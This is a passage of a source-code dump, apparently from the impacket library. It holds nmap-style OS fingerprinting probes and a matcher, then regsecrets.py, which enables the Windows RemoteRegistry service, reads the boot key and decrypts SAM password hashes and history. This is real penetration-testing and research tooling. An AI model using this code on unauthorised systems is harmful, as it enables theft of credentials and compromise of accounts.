TG*, TOSI, CD, SI, DLI*\n        if self.icmp_num_responses != 2:\n            self.add_result(\"R\",\"N\")\n            return\n\n        ip1 = self.icmp_responses[0].child()\n        ip2 = self.icmp_responses[1].child()\n        icmp1 = ip1.child()\n        icmp2 = ip2.child()\n\n        self.add_result(\"R\", \"Y\")\n\n        # Value\tDescription\n        # N\t    Neither of the ping responses have the DF bit set.\n        # S\t    Both responses echo the DF value of the probe.\n        # Y\t    Both of the response DF bits are set.\n        # O\t    The one remaining other combination-both responses have the DF bit toggled.\n        if not ip1.get_ip_df() and not ip2.get_ip_df():\n            self.add_result(\"DFI\",\"N\")\n        elif ip1.get_ip_df() and not ip2.get_ip_df():\n            self.add_result(\"DFI\",\"S\")\n        elif ip1.get_ip_df() and ip2.get_ip_df():\n            self.add_result(\"DFI\",\"Y\")\n        else:\n            self.add_result(\"DFI\",\"O\")\n\n        # Value\tDescription\n        # Z\t    Both TOS values are zero.\n        # S\t    Both TOS values are each the same as in the corresponding probe.\n        # <NN>\tWhen they both use the same non-zero number, it is recorded here.\n        # O\t    Any other combination.\n        if ip1.get_ip_tos() == 0 and ip2.get_ip_tos() == 0:\n            self.add_result(\"TOSI\",\"Z\")\n        elif ip1.get_ip_tos() == 0 and ip2.get_ip_tos() == 4:\n            self.add_result(\"TOSI\",\"S\")\n        elif ip1.get_ip_tos() == ip2.get_ip_tos():\n            self.add_result(\"TOSI\",\"%X\" % ip1.get_ip_tos())\n        else:\n            self.add_result(\"TOSI\",\"O\")\n        \n        # Value\tDescription\n        # Z\t    Both code values are zero.\n        # S\t    Both code values are the same as in the corresponding probe.\n        # <NN>\tWhen they both use the same non-zero number, it is shown here.\n        # O\t    Any other combination.\n        if icmp1.get_icmp_code() == 0 and icmp2.get_icmp_code() == 0:\n            self.add_result(\"CD\",\"Z\")\n        elif icmp1.get_icmp_code() == 9 and icmp2.get_icmp_code() == 0:\n            self.add_result(\"CD\",\"S\")\n        elif icmp1.get_icmp_code() == icmp2.get_icmp_code():\n            self.add_result(\"CD\",\"%X\" % icmp1.get_icmp_code())\n        else:\n            self.add_result(\"CD\",\"O\")\n        \n        # Value\tDescription\n        # Z\t    Both sequence numbers are set to 0.\n        # S\t    Both sequence numbers echo the ones from the probes.\n        # <NNNN> When they both use the same non-zero number, it is recorded here.\n        # O\t    Any other combination.\n        if icmp1.get_icmp_seq() == 0 and icmp2.get_icmp_seq() == 0:\n            self.add_result(\"SI\",\"Z\")\n        elif (icmp1.get_icmp_seq() == nmap2_icmp_echo_probe_1.sequence_number and \n              icmp2.get_icmp_seq() == nmap2_icmp_echo_probe_1.sequence_number + 1):\n            self.add_result(\"SI\",\"S\")\n        elif icmp1.get_icmp_seq() == icmp2.get_icmp_seq():\n            self.add_result(\"SI\",\"%X\" % icmp1.get_icmp_code())\n        else:\n            self.add_result(\"SI\",\"O\")\n\n    def get_final_result(self):\n        if not self.get_result_dict():\n            return None\n        else:\n            return {self.test_id(): self.get_result_dict()}\n\nclass nmap1_tcp_closed_1(nmap1_tcp_probe):\n    def __init__(self, id, addresses, tcp_ports):\n        nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 0)\n        self.t.set_SYN()\n\n    def test_id(self):\n        return \"T5\"\n\n    def is_mine(self, packet):\n        if tcp_probe.is_mine(self, packet):\n            ip = packet.child()\n            if not ip:\n                return 0\n            tcp = ip.child()\n            if not tcp:\n                return 0\n            if tcp.get_RST():\n                return 1\n            else:\n                return 0\n        else:\n            return 0\n\nclass nmap2_tcp_closed_1(nmap2_tcp_probe_2_6):\n    # ...\n    # T5 sends a TCP SYN packet without IP DF and a window field of \n    # 31337 to a closed port\n    # ...\n    def __init__(self, id, addresses, tcp_ports):\n        nmap2_tcp_probe_2_6.__init__(self, id, addresses, tcp_ports, 0)\n        self.t.set_SYN()\n        self.i.set_ip_df(0)\n        self.t.set_th_win(31337)\n\n    def test_id(self):\n        return \"T5\"\n\n\nclass nmap1_tcp_closed_2(nmap1_tcp_probe):\n\n    def __init__(self, id, addresses, tcp_ports):\n        nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 0)\n        self.t.set_ACK()\n\n    def test_id(self):\n        return \"T6\"\n\n\nclass nmap2_tcp_closed_2(nmap2_tcp_probe_2_6):\n    # ...\n    # T6 sends a TCP ACK packet with IP DF and a window field of \n    # 32768 to a closed port.\n    # ...\n    def __init__(self, id, addresses, tcp_ports):\n        nmap2_tcp_probe_2_6.__init__(self, id, addresses, tcp_ports, 0)\n        self.t.set_ACK()\n        self.i.set_ip_df(1)\n        self.t.set_th_win(32768)\n\n    def test_id(self):\n        return \"T6\"\n\n\nclass nmap1_tcp_closed_3(nmap1_tcp_probe):\n\n    def __init__(self, id, addresses, tcp_ports):\n        nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 0)\n        self.t.set_FIN()\n        self.t.set_URG()\n        self.t.set_PSH()\n\n    def test_id(self):\n        return \"T7\"\n\n\nclass nmap2_tcp_closed_3(nmap2_tcp_probe_7):\n    # ...\n    # T7 sends a TCP packet with the FIN, PSH, and URG flags set and a \n    # window field of 65535 to a closed port. The IP DF bit is not set.\n    # ...\n    def __init__(self, id, addresses, tcp_ports):\n        nmap2_tcp_probe_7.__init__(self, id, addresses, tcp_ports, 0)\n        self.t.set_FIN()\n        self.t.set_URG()\n        self.t.set_PSH()\n        self.t.set_th_win(65535)\n        self.i.set_ip_df(0)\n\n    def test_id(self):\n        return \"T7\"\n\n\nclass NMAP2_OS_Class:\n    def __init__(self, vendor, name, family, device_type):\n        self.__vendor = vendor\n        self.__name = name\n        self.__family = family\n        self.__device_type = device_type\n\n    def get_vendor(self):\n        return self.__vendor\n    def get_name(self):\n        return self.__name\n    def get_family(self):\n        return self.__family\n    def get_device_type(self):\n        return self.__device_type\n\nclass NMAP2_Fingerprint:\n    def __init__(self, id, os_class, tests):\n        self.__id = id\n        self.__os_class = os_class\n        self.__tests = tests\n\n    def get_id(self):\n        return self.__id\n    def get_os_class(self):\n        return self.__os_class\n    def get_tests(self):\n        return self.__tests\n\n    def __str__(self):\n        ret = \"FP: [%s]\" % self.__id\n        ret += \"\\n vendor: %s\" % self.__os_class.get_vendor()\n        ret += \"\\n name: %s\" % self.__os_class.get_name()\n        ret += \"\\n family: %s\" % self.__os_class.get_family()\n        ret += \"\\n device_type: %s\" % self.__os_class.get_device_type()\n\n        for test in self.__tests:\n            ret += \"\\n  test: %s\" % test\n            for pair in self.__tests[test]:\n                ret += \"\\n   %s = [%s]\" % (pair, self.__tests[test][pair])\n\n        return ret\n\n    literal_conv = { \"RIPL\" : { \"G\" : 0x148 },\n                     \"RID\" : { \"G\" : 0x1042 },\n                     \"RUL\" : { \"G\" : 0x134 } }\n\n    def parse_int(self, field, value):\n        try:\n            return int(value, 16)\n        except ValueError:\n            if field in NMAP2_Fingerprint.literal_conv:\n                if value in NMAP2_Fingerprint.literal_conv[field]:\n                    return NMAP2_Fingerprint.literal_conv[field][value]\n            return 0\n\n    def match(self, field, ref, value):\n        options = ref.split(\"|\")\n\n        for option in options:\n            if option.startswith(\">\"):\n                if self.parse_int(field, value) > \\\n                   self.parse_int(field, option[1:]):\n                    return True\n            elif option.startswith(\"<\"):\n                if self.parse_int(field, value) < \\\n                   self.parse_int(field, option[1:]):\n                    return True\n            elif option.find(\"-\") > -1:\n                range = option.split(\"-\")\n                if self.parse_int (field, value) >= self.parse_int (field, range[0]) and \\\n                        self.parse_int (field, value) <= self.parse_int (field, range[1]):\n                    return True\n            else:\n                if str(value) == str(option):\n                    return True\n\n        return False\n\n    def compare(self, sample, mp):\n        max_points = 0\n        total_points = 0\n\n        for test in self.__tests:\n            # ignore unknown response lines:\n            if test not in sample:\n                continue\n        \n            for field in self.__tests[test]:\n                    # ignore unsupported fields:\n                if field not in sample[test] or \\\n                   test not in mp or \\\n                   field not in mp[test]:\n                    continue\n            \n                ref = self.__tests[test][field]\n                value = sample[test][field]\n\n                points = int(mp[test][field])\n\n                max_points += points\n\n                if self.match(field, ref, value):\n                    total_points += points\n\n        return (total_points / float(max_points)) * 100\n\nclass NMAP2_Fingerprint_Matcher:\n    def __init__(self, filename):\n        self.__filename = filename                \n\n    def find_matches(self, res, threshold):\n        output = []\n\n        try:\n            infile = open(self.__filename,\"r\")\n    \n            mp = self.parse_mp(self.matchpoints(infile))\n\n            for fingerprint in self.fingerprints(infile):\n                fp = self.parse_fp(fingerprint)\n                similarity = fp.compare(res, mp)\n                if similarity >= threshold: \n                    print(\"\\\"%s\\\" matches with an accuracy of %.2f%%\" \\\n                           % (fp.get_id(), similarity))\n                    output.append((similarity / 100,\n                                   fp.get_id(),\n                                   (fp.get_os_class().get_vendor(),\n                                    fp.get_os_class().get_name(),\n                                    fp.get_os_class().get_family(),\n                                    fp.get_os_class().get_device_type())))\n\n            infile.close()\n        except IOError as err:\n            print(\"IOError: %s\", err)\n\n        return output\n\n    def sections(self, infile, token):\n        OUT = 0\n        IN = 1\n        \n        state = OUT\n        output = []\n\n        for line in infile:\n            line = line.strip()\n            if state == OUT:\n                if line.startswith(token):\n                    state = IN\n                    output = [line]\n            elif state == IN:\n                if line:\n                    output.append(line)\n                else:\n                    state = OUT\n                    yield output\n                    output = []\n\n        if output:\n            yield output\n\n    def fingerprints(self, infile):\n        for section in self.sections(infile,\"Fingerprint\"):\n            yield section\n\n    def matchpoints(self, infile):\n        return self.sections(infile,\"MatchPoints\").next()\n\n    def parse_line(self, line):\n        name = line[:line.find(\"(\")]\n        pairs = line[line.find(\"(\") + 1 : line.find(\")\")]\n        \n        test = {}\n        \n        for pair in pairs.split(\"%\"):\n            pair = pair.split(\"=\")\n            test[pair[0]] = pair[1]\n       \n        return (name, test)\n\n    def parse_fp(self, fp):\n        tests = {}\n\n        for line in fp:\n            if line.startswith(\"#\"):\n                continue\n            elif line.startswith(\"Fingerprint\"):\n                fingerprint = line[len(\"Fingerprint\") + 1:]\n            elif line.startswith(\"Class\"):\n                (vendor, \n                 name, \n                 family, \n                 device_type) = line[len(\"Class\") + 1:].split(\"|\")\n                os_class = NMAP2_OS_Class(vendor.strip(), \n                                          name.strip(), \n                                          family.strip(), \n                                          device_type.strip()) \n            else:\n                test = self.parse_line(line)\n                tests[test[0]] = test[1]\n        \n        return NMAP2_Fingerprint(fingerprint, os_class, tests)\n            \n    def parse_mp(self, fp):\n        tests = {}\n\n        for line in fp:\n            if line.startswith(\"#\"):\n                continue\n            elif line.startswith(\"MatchPoints\"):\n                continue\n            else:\n                test = self.parse_line(line)\n                tests[test[0]] = test[1]\n        \n        return tests\n"
  },
  {
    "path": "impacket/examples/regsecrets.py",
    "content": "import hashlib\nimport ntpath\nimport logging\nimport time\nimport re\nimport json\nimport codecs\nfrom datetime import datetime\nfrom struct import unpack, pack\nfrom six import b\n\nfrom impacket import ntlm\nfrom impacket.ese import getUnixTime\nfrom impacket import LOG\nfrom impacket.dcerpc.v5 import transport, rrp, scmr, wkst\nfrom impacket.crypto import transformKey\nfrom impacket.system_errors import ERROR_NO_MORE_ITEMS\nfrom impacket.structure import hexdump\nfrom impacket.krb5 import constants\nfrom impacket.krb5.crypto import string_to_key\n\nfrom impacket.examples.secretsdump import  CryptoCommon, _print_helper, DOMAIN_ACCOUNT_F, SAM_KEY_DATA, SAM_KEY_DATA_AES, ARC4, DES, AES, USER_ACCOUNT_V, SAM_HASH, SAM_HASH_AES, LSA_SECRET_XP, HMAC, MD4, MD5, LSA_SECRET, LSA_SECRET_BLOB, NL_RECORD, DPAPI_SYSTEM, NTDSHashes\nfrom binascii import unhexlify, hexlify\n\n# Helper to create files for exporting\ndef openFile(fileName, mode='w+', openFileFunc=None):\n    if openFileFunc is not None:\n        return openFileFunc(fileName, mode)\n    else:\n        return codecs.open(fileName, mode, encoding='utf-8')\n\nclass RemoteOperations:\n    def __init__(self, smbConnection, doKerberos, kdcHost=None):\n        self.__smbConnection = smbConnection\n        if self.__smbConnection is not None:\n            self.__smbConnection.setTimeout(5 * 60)\n        self.__serviceName = 'RemoteRegistry'\n        self.__stringBindingWinReg = r'ncacn_np:445[\\pipe\\winreg]'\n        self.__rrp = None\n        self.__regHandle = None\n\n        self.__samr = None\n\n        self.__drsr = None\n        self.__doKerberos = doKerberos\n        self.__kdcHost = kdcHost\n\n        self.__bootKey = b''\n        self.__disabled = False\n        self.__shouldStop = False\n        self.__started = False\n\n        self.__stringBindingSvcCtl = r'ncacn_np:445[\\pipe\\svcctl]'\n        self.__scmr = None\n        self.__tmpServiceName = None\n        self.__serviceDeleted = False\n\n\n    def __connectSvcCtl(self):\n        rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl)\n        rpc.set_smb_connection(self.__smbConnection)\n        self.__scmr = rpc.get_dce_rpc()\n        self.__scmr.connect()\n        self.__scmr.bind(scmr.MSRPC_UUID_SCMR)\n\n    def __connectWinReg(self):\n        rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg)\n        rpc.set_smb_connection(self.__smbConnection)\n        self.__rrp = rpc.get_dce_rpc()\n        self.__rrp.connect()\n        self.__rrp.bind(rrp.MSRPC_UUID_RRP)\n\n    def getMachineKerberosSalt(self):\n        \"\"\"\n        Returns Kerberos salt for the current connection if\n        we have the correct information\n        \"\"\"\n        if self.__smbConnection.getServerName() == '':\n            host, _ = self.getMachineNameAndDomain()\n            remoteName = self.__smbConnection.getRemoteName()\n            # Check if remoteName is FQDN, otherwise it will likely be the hostname only and we can't build the salt\n            if remoteName.lower().startswith(f\"{host.lower()}.\"):\n                domain = \".\".join(remoteName.split(\".\")[1:])\n            else:\n                return b''\n        else:\n            host = self.__smbConnection.getServerName()\n            domain = self.__smbConnection.getServerDNSDomainName()\n        LOG.debug(f\"[Secretsdump][getMachineKerberosSalt] Host: {host} / Domain FQDN: {domain}\")\n        salt = b'%shost%s.%s' % (domain.upper().encode('utf-8'), host.lower().encode('utf-8'), domain.lower().encode('utf-8'))\n        return salt\n\n    def getMachineNameAndDomain(self):\n        if self.__smbConnection.getServerName() == '':\n            # No serverName.. this is either because we're doing Kerberos\n            # or not receiving that data during the login process.\n            # Let's try getting it through RPC\n            rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\\pipe\\wkssvc]')\n            rpc.set_smb_connection(self.__smbConnection)\n            dce = rpc.get_dce_rpc()\n            dce.connect()\n            dce.bind(wkst.MSRPC_UUID_WKST)\n            resp = wkst.hNetrWkstaGetInfo(dce, 100)\n            dce.disconnect()\n            return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100'][\n                                                                                      'wki100_langroup'][:-1]\n        else:\n            return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain()\n\n    def getDefaultLoginAccount(self):\n        try:\n            ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, r'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon')\n            keyHandle = ans['phkResult']\n            dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultUserName')\n            username = dataValue[:-1]\n            dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultDomainName')\n            domain = dataValue[:-1]\n            rrp.hBaseRegCloseKey(self.__rrp, keyHandle)\n            if len(domain) > 0:\n                return '%s\\\\%s' % (domain, username)\n            else:\n                return username\n        except:\n            return None\n\n    def getServiceAccount(self, serviceName):\n        try:\n            # Open the service\n            ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, serviceName)\n            serviceHandle = ans['lpServiceHandle']\n            resp = scmr.hRQueryServiceConfigW(self.__scmr, serviceHandle)\n            account = resp['lpServiceConfig']['lpServiceStartName'][:-1]\n            scmr.hRCloseServiceHandle(self.__scmr, serviceHandle)\n            if account.startswith('.\\\\'):\n                account = account[2:]\n            return account\n        except Exception as e:\n            # Don't log if history service is not found, that should be normal\n            if serviceName.endswith(\"_history\") is False:\n                LOG.error(e)\n            return None\n\n    def __checkServiceStatus(self):\n        # Open SC Manager\n        ans = scmr.hROpenSCManagerW(self.__scmr)\n        self.__scManagerHandle = ans['lpScHandle']\n        # Now let's open the service\n        ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName)\n        self.__serviceHandle = ans['lpServiceHandle']\n        # Let's check its status\n        ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle)\n        if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED:\n            LOG.info('Service %s is in stopped state'% self.__serviceName)\n            self.__shouldStop = True\n            self.__started = False\n        elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING:\n            LOG.debug('Service %s is already running'% self.__serviceName)\n            self.__shouldStop = False\n            self.__started  = True\n        else:\n            raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState'])\n\n        # Let's check its configuration if service is stopped, maybe it's disabled :s\n        if self.__started is False:\n            ans = scmr.hRQueryServiceConfigW(self.__scmr,self.__serviceHandle)\n            if ans['lpServiceConfig']['dwStartType'] == 0x4:\n                LOG.info('Service %s is disabled, enabling it'% self.__serviceName)\n                self.__disabled = True\n                scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x3)\n            LOG.info('Starting service %s' % self.__serviceName)\n            scmr.hRStartServiceW(self.__scmr,self.__serviceHandle)\n            time.sleep(1)\n\n    def enableRegistry(self):\n        self.__connectSvcCtl()\n        self.__checkServiceStatus()\n        self.__connectWinReg()\n\n    def __restore(self):\n        # First of all stop the service if it was originally stopped\n        if self.__shouldStop is True:\n            LOG.info('Stopping service %s' % self.__serviceName)\n            scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP)\n        if self.__disabled is True:\n            LOG.info('Restoring the disabled state for service %s' % self.__serviceName)\n            scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4)\n        if self.__serviceDeleted is False and self.__tmpServiceName is not None:\n            # Check again the service we created does not exist, starting a new connection\n            # Why?.. Hitting CTRL+C might break the whole existing DCE connection\n            try:\n                rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\\pipe\\svcctl]' % self.__smbConnection.getRemoteHost())\n                if hasattr(rpc, 'set_credentials'):\n                    # This method exists only for selected protocol sequences.\n                    rpc.set_credentials(*self.__smbConnection.getCredentials())\n                    rpc.set_kerberos(self.__doKerberos, self.__kdcHost)\n                self.__scmr = rpc.get_dce_rpc()\n                self.__scmr.connect()\n                self.__scmr.bind(scmr.MSRPC_UUID_SCMR)\n                # Open SC Manager\n                ans = scmr.hROpenSCManagerW(self.__scmr)\n                self.__scManagerHandle = ans['lpScHandle']\n                # Now let's open the service\n                resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName)\n                service = resp['lpServiceHandle']\n                scmr.hRDeleteService(self.__scmr, service)\n                scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)\n                scmr.hRCloseServiceHandle(self.__scmr, service)\n                scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle)\n                scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle)\n                rpc.disconnect()\n            except Exception as e:\n                # If service is stopped it'll trigger an exception\n                # If service does not exist it'll trigger an exception\n                # So. we just wanna be sure we delete it, no need to\n                # show this exception message\n                pass\n\n    def finish(self):\n        if self.__regHandle is not None:\n            rrp.hBaseRegCloseKey(self.__rrp, self.__regHandle)\n        self.__restore()\n        if self.__rrp is not None:\n            self.__rrp.disconnect()\n        if self.__drsr is not None:\n            self.__drsr.disconnect()\n        if self.__samr is not None:\n            self.__samr.disconnect()\n        if self.__scmr is not None:\n            try:\n                self.__scmr.disconnect()\n            except Exception as e:\n                if str(e).find('STATUS_INVALID_PARAMETER') >= 0:\n                    pass\n                else:\n                    raise\n\n    def getBootKey(self):\n        bootKey = b''\n        self.openHKLMHandle()\n        for key in ['JD','Skew1','GBG','Data']:\n            LOG.debug('Retrieving class info for %s'% key)\n            ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\%s' % key)\n            keyHandle = ans['phkResult']\n            ans = rrp.hBaseRegQueryInfoKey(self.__rrp, keyHandle)\n            bootKey = bootKey + b(ans['lpClassOut'][:-1])\n            rrp.hBaseRegCloseKey(self.__rrp, keyHandle)\n\n        transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]\n\n        bootKey = unhexlify(bootKey)\n\n        for i in range(len(bootKey)):\n            self.__bootKey += bootKey[transforms[i]:transforms[i]+1]\n\n        LOG.info('Target system bootKey: 0x%s' % hexlify(self.__bootKey).decode('utf-8'))\n\n        return self.__bootKey\n\n    def openHKLMHandle(self):\n        if self.__regHandle is None:\n            ans = rrp.hOpenLocalMachine(self.__rrp)\n            self.__regHandle = ans['phKey']\n\n    def retrieveSubKey(self, subKey, value, throttle=0):\n        LOG.debug(f'[{datetime.now()}] Retrieving {subKey}\\\\{value}')\n        self.openHKLMHandle()\n        try:\n            ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK,\n                                   samDesired=None)\n        except:\n            raise Exception(f\"Can't open {subKey} subKey\")\n        keyHandle = ans['phkResult']\n        value = rrp.hBaseRegQueryValue(self.__rrp, ans['phkResult'], value)\n        rrp.hBaseRegCloseKey(self.__rrp, keyHandle)\n        time.sleep(throttle)\n        return value\n\n    def enumSubKey(self, subKey, throttle=0):\n        LOG.debug(f'[{datetime.now()}] Enumerating keys {subKey}')\n        self.openHKLMHandle()\n        try:\n            ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK,\n                                   samDesired=None)\n        except:\n            raise Exception(f\"Can't open {subKey} subKey\")\n        keyHandle = ans['phkResult']\n        i = 0\n        values = []\n        while True:\n            try:\n                key = rrp.hBaseRegEnumKey(self.__rrp, keyHandle, i)\n                i += 1\n                values.append(key['lpNameOut'][:-1])\n            except Exception:\n                break\n        rrp.hBaseRegCloseKey(self.__rrp, keyHandle)\n        time.sleep(throttle)\n        return values\n\n    def enumValues(self, subKey:str, throttle=0) -> dict:\n        LOG.debug(f'[{datetime.now()}] Enumerating values {subKey}')\n        self.openHKLMHandle()\n        try:\n            ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK,\n                                   samDesired=None)\n        except:\n            raise Exception(f\"Can't open {subKey} subKey\")\n        keyHandle = ans['phkResult']\n        i = 0\n        values = dict()\n        while True:\n            try:\n                ans2 = rrp.hBaseRegEnumValue(self.__rrp, keyHandle, i)\n                lp_value_name = ans2['lpValueNameOut'][:-1]\n                if len(lp_value_name) == 0:\n                    lp_value_name = '(Default)'\n                lp_type = ans2['lpType']\n                lp_data = b''.join(ans2['lpData'])\n                values[lp_value_name] = self.__parse_lp_data(lp_type, lp_data)\n                i += 1\n            except rrp.DCERPCSessionError as e:\n                if e.get_error_code() == ERROR_NO_MORE_ITEMS:\n                    break\n        time.sleep(throttle)\n        return values\n\n    def __parse_lp_data(self, valueType, valueData):\n        try:\n            if valueType == rrp.REG_SZ or valueType == rrp.REG_EXPAND_SZ:\n                if type(valueData) is int:\n                    return None\n                else:\n                    return valueData.decode('utf-16le')[:-1]\n            elif valueType == rrp.REG_BINARY:\n                return valueData\n            elif valueType == rrp.REG_DWORD:\n                return unpack('<L', valueData)[0]\n            elif valueType == rrp.REG_QWORD:\n                return unpack('<Q', valueData)[0]\n            elif valueType == rrp.REG_NONE:\n                return valueData\n            elif valueType == rrp.REG_MULTI_SZ:\n                return valueData.decode('utf-16le')[:-2]\n            else:\n                print(\"Unknown Type 0x%x!\" % valueType)\n                hexdump(valueData)\n        except Exception as e:\n            logging.debug('Exception thrown when printing reg value %s' % str(e))\n            print('Invalid data')\n            pass\n\nclass SAMHashes():\n    def __init__(self, bootKey, perSecretCallback = lambda secret: _print_helper(secret), remoteOps:RemoteOperations=None, history=False, throttle=0):\n        self.__remoteOps = remoteOps\n        self.__hashedBootKey = b''\n        self.__bootKey = bootKey\n        self.__cryptoCommon = CryptoCommon()\n        self.__itemsFound = {}\n        self.__perSecretCallback = perSecretCallback\n        self.__history = history\n        self.__historyItems = []\n        self.__throttle = throttle\n\n    def MD5(self, data):\n        md5 = hashlib.new('md5')\n        md5.update(data)\n        return md5.digest()\n\n    def getHBootKey(self):\n        LOG.debug('Calculating HashedBootKey from SAM')\n        QWERTY = b\"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\\0\"\n        DIGITS = b\"0123456789012345678901234567890123456789\\0\"\n\n        F = self.__remoteOps.retrieveSubKey(r'SAM\\SAM\\Domains\\Account', 'F', throttle=self.__throttle)[1]\n\n        domainData = DOMAIN_ACCOUNT_F(F)\n\n        if domainData['Key0'][0:1] == b'\\x01':\n            samKeyData = SAM_KEY_DATA(domainData['Key0'])\n\n            rc4Key = self.MD5(samKeyData['Salt'] + QWERTY + self.__bootKey + DIGITS)\n            rc4 = ARC4.new(rc4Key)\n            self.__hashedBootKey = rc4.encrypt(samKeyData['Key'] + samKeyData['CheckSum'])\n\n            # Verify key with checksum\n            checkSum = self.MD5( self.__hashedBootKey[:16] + DIGITS + self.__hashedBootKey[:16] + QWERTY)\n\n            if checkSum != self.__hashedBootKey[16:]:\n                raise Exception('hashedBootKey CheckSum failed, Syskey startup password probably in use! :(')\n\n        elif domainData['Key0'][0:1] == b'\\x02':\n            # This is Windows 2016 TP5 on in theory (it is reported that some W10 and 2012R2 might behave this way also)\n            samKeyData = SAM_KEY_DATA_AES(domainData['Key0'])\n\n            self.__hashedBootKey = self.__cryptoCommon.decryptAES(self.__bootKey,\n                                                                  samKeyData['Data'][:samKeyData['DataLen']], samKeyData['Salt'])\n\n    def __decryptHash(self, rid, cryptedHash, constant, newStyle = False):\n        # Section 2.2.11.1.1 Encrypting an NT or LM Hash Value with a Specified Key\n        # plus hashedBootKey stuff\n        Key1,Key2 = self.__cryptoCommon.deriveKey(rid)\n\n        Crypt1 = DES.new(Key1, DES.MODE_ECB)\n        Crypt2 = DES.new(Key2, DES.MODE_ECB)\n\n        if newStyle is False:\n            rc4Key = self.MD5( self.__hashedBootKey[:0x10] + pack(\"<L\", rid) + constant )\n            rc4 = ARC4.new(rc4Key)\n            key = rc4.encrypt(cryptedHash['Hash'])\n        else:\n            key = self.__cryptoCommon.decryptAES(self.__hashedBootKey[:0x10], cryptedHash['Hash'], cryptedHash['Salt'])[:16]\n\n        decryptedHash = Crypt1.decrypt(key[:8]) + Crypt2.decrypt(key[8:])\n\n        return decryptedHash\n\n    def __unwrap_history_block(self, rid_int, block16):\n        key1, key2 = self.__cryptoCommon.deriveKey(rid_int)\n        crypt1 = DES.new(key1, DES.MODE_ECB)\n        crypt2 = DES.new(key2, DES.MODE_ECB)\n        return crypt1.decrypt(block16[:8]) + crypt2.decrypt(block16[8:16])\n\n    def __decrypt_history_entries_aes(self, rid_int, entries):\n        out = []\n        key = self.__hashedBootKey[:0x10]\n        for salt, enc in entries:\n            if not enc or (len(enc) % 16) != 0:\n                continue\n            if not salt or len(salt) != 16:\n                continue\n            cipher = AES.new(key, AES.MODE_CBC, iv=salt)\n            plain = cipher.decrypt(enc)\n            for off in range(0, len(plain), 16):\n                block = plain[off:off + 16]\n                if len(block) < 16:\n                    break\n                out.append(self.__unwrap_history_block(rid_int, block))\n        return out\n\n    def __scan_v_for_aes_entries(self, vdata):\n        entries = []\n        length = len(vdata)\n        offset = 0x100 if length > 0x200 else 0\n        while offset + 20 <= length:\n            salt = vdata[offset:offset + 16]\n            data_len = int.from_bytes(vdata[offset + 16:offset + 20], 'little', signed=False)\n            if data_len == 0 or data_len > 0x2000:\n                offset += 4\n                continue\n            data_off = offset + 20\n            if data_off + data_len > length or (data_len % 16) != 0:\n                offset += 4\n                continue\n            enc = vdata[data_off:data_off + data_len]\n            entries.append((salt, enc))\n            offset = data_off + data_len\n            if offset % 4:\n                offset += (4 - (offset % 4))\n        return entries\n\n    def __decode_aes_history_block(self, rid_int, data, offset, length):\n        if offset <= 0 or length <= 0:\n            return []\n        end = offset + length\n        if end > len(data):\n            return []\n\n        blob = data[offset:end]\n        if len(blob) < 24:\n            return []\n\n        try:\n            record = SAM_HASH_AES(blob)\n        except Exception:\n            LOG.debug('Failed to parse SAM_HASH_AES history block at 0x%x (len=%d)', offset, length, exc_info=True)\n            return []\n\n        enc = record['Hash']\n        if not enc:\n            return []\n\n        enc_len = len(enc) - (len(enc) % 16)\n        if enc_len <= 0:\n            return []\n\n        enc = enc[:enc_len]\n        return self.__decrypt_history_entries_aes(rid_int, [(record['Salt'], enc)])\n\n    def __extract_local_history(self, rid_int, new_style, user_account):\n        lm_const = b\"LMPASSWORDHISTORY\\0\"\n        nt_const = b\"NTPASSWORDHISTORY\\0\"\n\n        result = {'lm': [], 'nt': []}\n        meta = user_account['Unknown15']\n        data = user_account['Data']\n\n        lm_offset = int.from_bytes(meta[0:4], 'little', signed=False)\n        lm_length = int.from_bytes(meta[4:8], 'little', signed=False)\n        nt_offset = int.from_bytes(meta[12:16], 'little', signed=False)\n        nt_length = int.from_bytes(meta[16:20], 'little', signed=False)\n\n        if not new_style:\n            LOG.debug('Skipping old-style history for RID %d; RC4/DES path disabled', rid_int)\n            return result\n\n        lm_entries = self.__decode_aes_history_block(rid_int, data, lm_offset, lm_length)\n     